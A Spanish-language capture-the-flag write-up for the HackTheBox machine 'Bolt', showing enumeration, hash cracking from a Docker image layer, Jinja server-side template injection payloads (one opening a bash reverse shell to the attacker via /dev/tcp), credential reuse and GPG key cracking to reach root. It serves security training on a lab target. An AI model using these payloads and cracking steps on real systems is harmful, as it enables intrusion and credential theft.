Bolt es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Bolt 10.10.11.114 a /etc/hosts como bolt.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
# Nmap 7.92 scan initiated Wed Jan 5 16:22:10 2022 as: nmap -sV -sC -oA enumeration/nmap 10.10.11.114 Nmap scan report for 10.10.11.114 Host is up (0.061s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA) | 256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA) |_ 256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Starter Website - About |_http-server-header: nginx/1.18.0 (Ubuntu) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) | http-title: Passbolt | Open source password manager for teams |_Requested resource was /auth/login?redirect=%2F | ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU | Not valid before: 2021-02-24T19:11:23 |_Not valid after: 2022-02-24T19:11:23 |_http-server-header: nginx/1.18.0 (Ubuntu) |_ssl-date: TLS randomness does not represent time Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Jan 5 16:22:29 2022 -- 1 IP address (1 host up) scanned in 19.72 seconds |
Una vez hecho el escaneo, descubrimos un subdominio, así que agregamos passbolt.bolt.htb a nuestro fichero /etc/hosts y procedemos a revisar los portales web.
Enumeración
Revisamos ambos portales web y vemos lo siguiente:
En el puerto 80 la web de bolt.htb
Y en el portal web de passbolt, vemos una página de login para acceder al gestor de contraseñas
Revisamos el portal del gestor de contraseñas pero no parece que podamos hacer aqui mucho más por el momento así que vamos a hacer enumeraciones.
Enumeramos directorios existentes con gobuster en el portal de bolt.htb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ gobuster dir -u http://bolt.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://bolt.htb/ [+] Method: GET [+] Threads: 150 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/05 16:27:00 Starting gobuster in directory enumeration mode =============================================================== /profile (Status: 500) [Size: 290] /index (Status: 308) [Size: 239] [--> http://bolt.htb/] /services (Status: 200) [Size: 22443] /login (Status: 200) [Size: 9287] /download (Status: 200) [Size: 18570] /contact (Status: 200) [Size: 26293] /register (Status: 200) [Size: 11038] /pricing (Status: 200) [Size: 31731] /logout (Status: 302) [Size: 209] [--> http://bolt.htb/] /sign-in (Status: 200) [Size: 9287] /sign-up (Status: 200) [Size: 11038] =============================================================== 2022/01/05 16:33:56 Finished =============================================================== |
Revisamos las urls existentes y vemos una interesante, /download, que luce el siguiente aspecto
En la misma podemos descargar la imagen de docker desde el botón de Download Now así que lo descargamos y observamos el tipo de fichero que es
1 2 3 |
$ file image.tar image.tar: POSIX tar archive |
Se trata de un fichero tar así que vamos a descomprimir el mismo y observamos los siguientes directorios y ficheros
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ ll total 158032 drwxrwx--- 1 root vboxsf 4096 ene 5 16:37 187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950 drwxrwx--- 1 root vboxsf 4096 ene 5 16:38 1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c drwxrwx--- 1 root vboxsf 4096 mar 5 2021 2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa drwxrwx--- 1 root vboxsf 4096 mar 5 2021 3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab drwxrwx--- 1 root vboxsf 4096 mar 5 2021 3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162 drwxrwx--- 1 root vboxsf 4096 mar 5 2021 3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b drwxrwx--- 1 root vboxsf 4096 mar 5 2021 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad drwxrwx--- 1 root vboxsf 4096 mar 5 2021 745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf -rwxrwx--- 1 root vboxsf 3797 mar 5 2021 859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json drwxrwx--- 1 root vboxsf 4096 mar 5 2021 9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77 drwxrwx--- 1 root vboxsf 4096 mar 5 2021 a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 drwxrwx--- 1 root vboxsf 4096 mar 5 2021 d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26 -rwxrwx--- 1 root vboxsf 161765888 ene 5 16:36 image.tar -rwxrwx--- 1 root vboxsf 1002 ene 5 16:36 manifest.json -rwxrwx--- 1 root vboxsf 119 ene 5 16:36 repositories |
Vemos que disponemos de un fichero manifest, uno repositories y varias carpetas que corresponden a cada una de las capas de la imagen de docker. Revisamos cada una de ellas con detenimiento y descubrimos una interesante en la cual existe un fichero de base de datos sqlite3
1 2 3 4 5 |
$ tar xvf a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar db.sqlite3 root/ root/.ash_history tmp/ |
Extraemos el fichero y lo abrimos para descubrir su contenido, y nos da una alegría, ya que en el mismo hay una tabla user con el hash del usuario admin
1 2 3 4 5 6 7 8 |
$ sqlite3 db.sqlite3 SQLite version 3.36.0 2021-06-18 18:36:39 Enter ".help" for usage hints. sqlite> .tables User sqlite> select * from user; 1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.|| sqlite> |
Obtenido el hash comprobamos el tipo del mismo
1 2 3 4 5 |
$ hashid `cat adminhash` Analyzing '$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.' [+] MD5 Crypt [+] Cisco-IOS(MD5) [+] FreeBSD MD5 |
Buscamos el modo que deberemos utilizar con hashcat para romperlo
1 2 |
$ hashcat --help|grep md5crypt 500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System |
Y tratamos de crackear la password
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
$ hashcat -m 500 adminhash /usr/share/wordlists/rockyou.txt --force hashcat (v6.1.1) starting... ... Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.:deadbolt Session..........: hashcat Status...........: Cracked Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) Hash.Target......: $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q. Time.Started.....: Wed Jan 5 16:47:25 2022, (32 secs) Time.Estimated...: Wed Jan 5 16:47:57 2022, (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 5001 H/s (2.74ms) @ Accel:7 Loops:1000 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 172746/14344385 (1.20%) Rejected.........: 0/172746 (0.00%) Restore.Point....: 172732/14344385 (1.20%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000 Candidates.#1....: deadline1 -> dawn08 |
Además de esto, revisando entre los ficheros obtenemos un código de invitación en otra de las capas, y que puede ser útil más adelante
Accedemos al portal de bolt con las claves obtenidas y vemos un panel de dashboard realizado por el cms AdminLTE
Revisamos el portal y las posibles opciones y encontramos una conversación entre dos usuarios donde indican que hay un problema de seguridad y que la demo está restringida a un código de invitación, código que ya obtuvimos antes, así que vamos a enumerar virtualhosts y subdominios a ver si encontramos el portal de demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ gobuster vhost -u http://bolt.htb -w /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 150 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://bolt.htb [+] Method: GET [+] Threads: 150 [+] Wordlist: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/01/05 16:29:33 Starting gobuster in VHOST enumeration mode =============================================================== Found: mail.bolt.htb (Status: 200) [Size: 4943] Found: demo.bolt.htb (Status: 302) [Size: 219] Found: MAIL.bolt.htb (Status: 200) [Size: 4943] |
Descubiertos los dos los analizamos, en primer lugar el panel de demo
Para el cual no disponemos de una cuenta así que nos creamos una utilizando el código de invitación y accedemos al portal viendo un dashboard similar al anterior, pero con más opciones
Llegados a este punto realizamos algunas pruebas pero parece que no obtenemos mucho al respecto así que nos vamos al panel de mail y nos logueamos con el mismo usuario
Hacemos alguna prueba y parece que cuando aplicamos algún cambio sobre la configuración del usuario recibimos un mail para confirmar los cambios así que vamos a probar a realizar un ataque de Server-Side Template Inyection (SSTI) donde se puede ver una cheatsheet en el siguiente enlace.
Dicho esto, para la prueba modificaremos el nombre del usuario por {{44}} en la sección de Profile -> Settings -> Name
Y una vez confirmados los cambios vemos en el mail como se han modificado los datos eliminando las llaves que pusimos alrededor del valor entero
Visto que funciona lanzamos otra prueba para obtener el usuario y conseguimos ejecutar el comando id modificando el nombre del usuario por el siguiente código
1 |
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} |
Y vemos el resultado en la siguiente captura
Como ya hemos verificado que es vulnerable a este tipo de ataques, podemos utilizarlo para ejecutar una rev shell y conseguir acceso.
Modificaremos el nombre del usuario con el siguiente código
1 |
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/IP/PORT 0>&1"').read() }} |
Y obtendremos acceso como www-data en nuestra escucha
1 2 3 4 5 6 7 8 9 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.6] from bolt.htb [10.10.11.114] 52140 bash: cannot set terminal process group (992): Inappropriate ioctl for device bash: no job control in this shell www-data@bolt:~/demo$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@bolt:~/demo$ |
Después de dar varios palos de ciego por la máquina descubrimos un fichero con unas credenciales de base de datos en la ruta /etc/passbolt/passbolt.php
1 2 3 4 5 6 7 8 9 10 |
// Database configuration. 'Datasources' => [ 'default' => [ 'host' => 'localhost', 'port' => '3306', 'username' => 'passbolt', 'password' => 'rT2;jW7<eY8!dX8}pQ8%', 'database' => 'passboltdb', ], ], |
Obteniendo la flag de user
Una vez llegados a este punto, utilizamos las claves de mysql descubiertas para escalar al usuario eddie y conseguir la primera flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
www-data@bolt:/etc/passbolt$ su - eddie su - eddie Password: id uid=1000(eddie) gid=1000(eddie) groups=1000(eddie) python3 -c 'import pty;pty.spawn("/bin/bash");' eddie@bolt:~$ export TERM=xterm export TERM=xterm eddie@bolt:~$ pwd pwd /home/eddie eddie@bolt:~$ ls -l ls -l total 36 drwxr-xr-x 2 eddie eddie 4096 Feb 24 2021 Desktop drwxr-xr-x 2 eddie eddie 4096 Feb 24 2021 Documents drwxr-xr-x 2 eddie eddie 4096 Feb 25 2021 Downloads drwxr-xr-x 2 eddie eddie 4096 Feb 24 2021 Music drwxr-xr-x 2 eddie eddie 4096 Feb 24 2021 Pictures drwxr-xr-x 2 eddie eddie 4096 Feb 24 2021 Public drwxr-xr-x 2 eddie eddie 4096 Feb 24 2021 Templates -r-------- 1 eddie eddie 33 Jan 5 08:24 user.txt drwxr-xr-x 2 eddie eddie 4096 Feb 24 2021 Videos eddie@bolt:~$ cat user.txt cat user.txt 3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx8 eddie@bolt:~$ |
Escalado de privilegios
Una vez que ya tenemos la flag del usuario, volvemos a las credenciales obtenidas de mysql y descubrimos en la tabla secrets de la ddbb passboltdb un mensaje pgp que nos será útil más adelante
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
mysql> select * from secrets\G *************************** 1. row *************************** id: 643a8b12-c42c-4507-8646-2f8712af88f8 user_id: 4e184ee6-e436-47fb-91c9-dccb57f250bc resource_id: cd0270db-c83f-4f44-b7ac-76609b397746 data: -----BEGIN PGP MESSAGE----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7 FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov 8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey 5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6 TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984 =P38i -----END PGP MESSAGE----- created: 2021-02-25 21:50:11 modified: 2021-03-06 15:34:36 1 row in set (0.00 sec) |
Continuamos con la enumeración de la máquina, y después de un rato dando más y más vueltas encontramos un correo del usuario Clark al usuario Eddie
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
eddie@bolt:~$ cat /var/mail/eddie cat /var/mail/eddie From clark@bolt.htb Thu Feb 25 14:20:19 2021 Return-Path: <clark@bolt.htb> X-Original-To: eddie@bolt.htb Delivered-To: eddie@bolt.htb Received: by bolt.htb (Postfix, from userid 1001) id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST) Subject: Important! To: <eddie@bolt.htb> X-Mailer: mail (GNU Mailutils 3.7) Message-Id: <20210225212019.DFF264CD@bolt.htb> Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST) From: Clark Griswold <clark@bolt.htb> Hey Eddie, The password management server is up and running. Go ahead and download the extension to your browser and get logged in. Be sure to back up your private key because I CANNOT recover it. Your private key is the only way to recover your account. Once you're set up you can start importing your passwords. Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning... -Clark |
En el anterior mail nos indica que descarguemos la extensión del servidor de gestión de passwords en el navegador y que hagamos una copia de nuestra clave privada para evitar perder la misma, y esto nos da una posible idea de como continuar. Generalmente los datos temporales de un navegador se almacenan en un directorio de la home del usuario así que vamos a buscar en la home del usuario eddie y encontramos el siguiente fichero el cual contiene la clave pública y privada del usuario
1 2 3 |
eddie@bolt:~/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf$ file 000003.log file 000003.log 000003.log: data |
Obtenemos la misma y utilizaremos john para obtener la password.
En primer lugar obtenemos el hash con gpg2john
1 |
./gpg2john eddie.pgp > gpg-hash |
Y posteriormente John para crackearla
1 2 3 4 5 6 7 8 9 10 11 12 |
$ john --format=gpg gpg-hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 16777216 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status merrychristmas (Eddie Johnson) 1g 0:00:24:07 DONE (2022-01-05 18:18) 0.000690g/s 29.60p/s 29.60c/s 29.60C/s merrychristmas..menudo Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Y ya la tenemos, así que vamos a utilizarla para descifrar el mensaje obtenido anteriormente de la base de datos MySQL.
Para evitar importar la clave en nuestro sistema subimos la misma a la máquina y la importamos
1 2 3 4 5 6 7 |
eddie@bolt:~$ gpg --batch --import eddie.pgp gpg: key 1C2741A3DC3B4ABD: public key "Eddie Johnson <eddie@bolt.htb>" imported gpg: key 1C2741A3DC3B4ABD: secret key imported gpg: Total number processed: 1 gpg: imported: 1 gpg: secret keys read: 1 gpg: secret keys imported: 1 |
Una vez importada, utilizamos la misma junto con la password descubierta para descifrar el mensaje
1 2 3 4 5 6 7 8 9 |
eddie@bolt:~$ gpg --pinentry-mode loopback --passphrase merrychristmas -d message gpg: encrypted with 2048-bit RSA key, ID F65CA879A3D77FE4, created 2021-02-25 "Eddie Johnson <eddie@bolt.htb>" {"password":"Z(2rmxsNW(Z?3=p/9s","description":""}gpg: Signature made Sat 06 Mar 2021 08:33:54 AM MST gpg: using RSA key 1C2741A3DC3B4ABD gpg: Good signature from "Eddie Johnson <eddie@bolt.htb>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: DF42 6BC7 A4A8 AF58 E50E DA0E 1C27 41A3 DC3B 4ABD |
Obteniendo la flag de root
Como último paso utilizaremos la contraseña obtenida del mensaje cifrado para escalar a root y conseguir la flag
1 2 3 4 5 6 7 |
eddie@bolt:~$ su - root Password: root@bolt:~# id uid=0(root) gid=0(root) groups=0(root) root@bolt:~# cat root.txt 9xxxxxxxxxxxxxxxxxxxxxxxxxxx5 root@bolt:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace